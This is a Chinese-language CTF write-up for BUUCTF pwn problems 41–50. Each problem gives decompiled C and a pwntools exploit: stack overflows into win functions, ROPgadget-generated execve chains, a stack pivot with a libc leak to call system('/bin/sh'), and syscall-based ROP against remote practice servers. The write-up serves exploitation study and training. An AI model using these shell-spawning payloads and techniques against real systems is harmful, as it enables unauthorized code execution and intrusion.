41~50
第四十一题 picoctf_2018_buffer overflow 1
查看保护和反编译
checksec
32位,没开保护,第一印象是shellcode
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v4; // [esp+Ch] [ebp-Ch]
setvbuf(_bss_start, 0, 2, 0);
v4 = getegid();
setresgid(v4, v4, v4);
puts("Please enter your string: ");
vuln();
return 0;
}
vuln函数
int vuln()
{
int return_address; // eax
char s[40]; // [esp+0h] [ebp-28h] BYREF
gets(s);
return_address = get_return_address();
return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", return_address);
}
查看字符串窗口找到了falg.txt
跟进找到win函数
int win()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}
这个函数就是打开falg.txt文件并再打印出来
简单的栈溢出
exp
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',25288)
#io=process('./PicoCTF_2018_buffer_overflow_1')
win_addr=0x080485CB
payload=b'a'*0x2c+p32(win_addr)
io.sendline(payload)
io.interactive()
第四十三题inndy_rop
checksec
堆栈不可执行,32位
ida
main函数就一个overflow函数
int overflow()
{
char v1[12]; // [esp+Ch] [ebp-Ch] BYREF
return gets(v1);
}
点进去gets函数,看不懂啊。。。但是把他当成gets就可以
本以为是ret2libc,但是没有可以泄露的函数地址(试过才知道)
最后是用一条指令解决的
ROPgadget --binary rop --ropchain
会生成一串rop可以用来那拿shell
exp
from pwn import*
from struct import pack
#io=process('./rop')
io=remote('node4.buuoj.cn',29616)
p = b'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io.sendline(p)
io.interactive()
第四十四题arvisoj_test_your_memory
32位
ida
main函数
前面是生成一串字符串,再打印出来
mem_test函数是让你猜
scanf函数可以溢出
s长度0x13+4
查看字符串窗口
有system和cat flag ,可以拿到flag
但是这个题有些奇怪,需要正常返回才能打印出flag
所以返回地址不能随便写了,需要找一个有return的函数作为system的返回地址,main或者mem_test都可以
exp
from pwn import*
io=remote('node5.buuoj.cn',25221)
cat_flag_addr=0x080487E0
mem_test_addr=0x080485D0
system_plt=0x08048440
payload=b'a'*0x17+p32(system_plt)+p32(mem_test_addr)+p32(cat_flag_addr)
io.sendline(payload)
io.interactive()
第四十五题[Black Watch 入群题]PWN
checksec
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
vul函数
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}
向s=0x0804A300写入0x200字节,向buf写入0x20字节buf大小是0x18,有溢出但是不够构造rop链,但是可以利用gadget将eip骗到s地址,那里空间大足以构造攻击
leave_ret=0x0x08048408
两次攻击,第一次泄露write地址,第二次拿shell
不及丢为啥用puts接收不到
exp
from pwn import*
io=remote('node5.buuoj.cn',29026)
elf=ELF('./spwn')
libc=ELF('./libc-2.23.so')
#puts_plt=elf.plt['puts']
#puts_got=elf.got['puts']
write_plt=elf.plt['write']
write_got=elf.got['write']
leave_ret=0x8048408
main_addr=0x8048513
s_addr=0x804A300
payload1=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil(b'What is your name?')
io.send(payload1)
payload2=b'a'*24+p32(s_addr-4)+p32(leave_ret)
io.recvuntil(b'What do you want to say?')
io.send(payload2)
write_addr=u32(io.recv(4))
#puts_addr=u32(io.recv(4))
print("write_addr="+hex(write_addr))
base_addr=write_addr-libc.sym['write']
system_addr=base_addr+libc.sym['system']
str_bin_sh=base_addr+next(libc.search(b'/bin/sh'))
payload3=p32(system_addr)+p32(0)+p32(str_bin_sh)
io.recvuntil(b'What is your name?')
io.send(payload3)
io.recvuntil(b'What do you want to say?')
io.send(payload2)
io.interactive()
第四十七题 picoctf_2018_buffer overflow 2
checksec ida
32位
main函数
vuln函数很明显的溢出
字符串窗口
有flag字样
找到win函数
这是一个比较函数
满足条件可以打印flag
条件是a1 == 0xDEADBEEF && a2 ==0xDEADC0DE
这里可以再ida中点击数字,再按h键可以切换到16位
exp
from pwn import*
io=remote('node5.buuoj.cn',26712)
a1=0xDEADBEEF
a2=0xDEADC0DE
win_addr=0x080485CB
exit_addr=0x08048470
payload=b'a'*0x70+p32(win_addr)+p32(exit_addr)+p32(a1)+p32(a2)
io.sendline(payload)
io.interactive()
这里还是要用exit函数,正常退出,不知道不用它会怎么样我还没试,但是感觉不会吐出flag
第四十八题 cmcc_simplerop
checksec
32位程序,没有开pie保护,这个后面会用
拖入ida中
查看字符串窗口没有system和/bin/sh,根据提示尝试使用gadgets来拼接ROP
另外,程序是静态链接所以iret2libc不能用
找需要的gadget
找到pop eax ret
同理
找不到/bin/sh,虽然sh也可以,但是这道题的sh太多,并且也不一定是我们要用的sh,所以要我们来写/bin/sh作为ebx的值
前面提到pie保护没开,这样bss段就是实际地址,可以拿来直接写。
本题自带了read函数,可以拿来用
exp
from pwn import*
#context(os='linux',arch='i386',log_level='debug')
#io=process('./simplerop')
io=remote('node5.buuoj.cn',28737)
pop_eax=0x080bae06 # pop eax ; ret
pop_edx_ecx_ebx=0x0806e850 # pop edx ; pop ecx ; pop ebx ; ret
int_0x80=0x080493e1 # int 0x80
bss_addr=0x080EBA11
read_addr=0x806CD50
payload=b'a'*32+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(8)
payload+=p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)*2+p32(bss_addr)+p32(int_0x80)
io.recvuntil(b'Your input :')
io.sendline(payload)
io.send(b'/bin/sh\x00')
io.interactive()
第四十九题 wustctf2020_getshell_2
checksec
32位
ida
找到shell函数,但是
这里的解决办法是使用后面的sh来拿shell
但是又会遇到另一个问题就是,输入长度受限制,使用plt的system需要手动压入返回地址,那样就输入不了sh这个参数
需要利用shell处的call system 这样call指令就会将返回地址压入栈中(push ip这条指令)
exp
from pwn import*
#io=process('./wustctf2020_getshell_2')
io=remote('node5.buuoj.cn',29809)
shell_addr=0x8048529
sh=0x08048670
main_addr=0x0804859E
payload=b'a'*28+p32(shell_addr)+p32(sh)
io.sendline(payload)
io.interactive()
第五十题 bbys_tu_2016
很简单的栈溢出题,右后门打印flag
exp
from pwn import*
io=remote('node5.buuoj.cn',28952)
print_flag=0x0804856D
payload=b'a'*24+p32(print_flag)
io.sendline(payload)
io.interactive()